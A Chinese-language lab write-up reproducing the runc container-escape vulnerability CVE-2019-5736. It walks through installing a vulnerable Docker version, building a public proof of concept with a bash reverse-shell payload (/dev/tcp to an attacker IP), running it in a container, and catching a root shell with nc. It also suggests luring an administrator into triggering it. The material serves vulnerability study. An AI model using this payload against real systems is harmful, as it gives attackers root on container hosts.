Docker逃逸漏洞复现(CVE-2019-5736)

1 前言

1.1 概述

2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。

漏洞会对IT运行环境带来威胁,漏洞利用会触发容器逃逸、影响整个容器主机的安全,最终导致运行在该主机上的其他容器被入侵。漏洞影响AWS, Google Cloud等主流云平台。

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

1.2漏洞原理

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

1.3 利用方式

docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

前提条件:

要利用此漏洞,您需要在容器内拥有 root (uid 0)。

1.4 影响版本

docker version <=18.09.2 RunC version <=1.0-rc6

2 安装有漏洞的docker

环境安装

(1)卸载已将安装的docker

(2)列出可用版本

yum list docker-ce --showduplicates | sort -r

1640054924227

(3)安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本

sudo yum install docker-ce-18.06.0.ce-3.el7 -y

查看版本:看到docker版本为18.06.0.ce<18.09.2,runc版本为1.0.0 rc5<1.0-rc6。

值得注意的是高版本docker中使用runc -v来runc查版本。

docker -v
docker-runc -v

1640055271415

(5)在受害者机器上启动一个容器49bd670396f4,搭建攻击环境

[root@archery-sec9002 supper-user]# docker pull nginx
[root@archery-sec9002 supper-user]# docker run --name nginx-test -p 8080:80 -d nginx
[root@archery-sec9002 supper-user]# docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
49bd670396f4        nginx               "/docker-entrypoint.…"   4 seconds ago       Up 3 seconds        0.0.0.0:8080->80/tcp   nginx-test

3 漏洞复现

漏洞复现整体过程如下图所示:其中,下图中为了方便复现,制作payload过程 我们直接在受害者机器上制作。

攻击者机器IP为:10.65.103.67(archery-sec9001)。

受害者机器IP为:10.65.103.68(archery-sec9002)

1640068592282

3.1 受害者机器制作payload

(1)受害者机器上生成payload

下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中payload修改为反弹shell的payload,设置nc监听地址。

var payload="#!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/1234 0>&1"

1640056311451

(2)安装Go环境

该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。

使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】

a.下载文件

wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz
tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local

b.配置环境变量

vi /etc/profile

在/etc/profile文件末尾添加以下配置,输入 :wq保存

#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go 
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath

配置文件生效

source /etc/profile 
go version

1639728761904

(3)编译脚本:生成一个可执行的脚本main

cd CVE-2019-5736-PoC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

1640056013947

3.2 payload传入受害者容器中

(1)将该payload(main文件)拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并将main文件修改权限可执行。

[root@archery-sec9002 CVE-2019-5736-PoC]# docker cp main 49bd670396f4:/home
[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh
root@49bd670396f4:/# cd home
root@49bd670396f4:/home# chmod 777 main

1640066964932

3.3 攻击

将该payload拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

(1)在49bd670396f4容器中执行payload文件main

执行payload,等待受害者去启动docker容器。(如果ctf比赛选手说容器启动有问题,引诱管理员启动docker就中招了)

root@49bd670396f4:/home# ./main

1640067151695

(2) 攻击者同步开启nc监听(ip为10.65.103.67,监听端口为1234、与main中的payload一致。)

nc -vv -lp 1234

1640067506910

(3) 在xshell重新打开一个选项卡,进入容器。(sh启动),模拟受害者重新打开容器时。

[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh

1640067231664

观察容器中

1640067250063

(4) 受害者启动docker容器时,触发payload,成功反弹shell。即容器逃逸成功,已进入受害者机器,并且是root权限。

1640067382867

参考

https://www.freebuf.com/articles/web/258398.html

https://github.com/Frichetten/CVE-2019-5736-PoC 漏洞POC

文章目录
  1. 1 前言
    1. 1.1 概述
    2. 1.2漏洞原理
    3. 1.3 利用方式
    4. 1.4 影响版本
  2. 2 安装有漏洞的docker
  3. 3 漏洞复现
    1. 3.1 受害者机器制作payload
    2. 3.2 payload传入受害者容器中
    3. 3.3 攻击
  4. 参考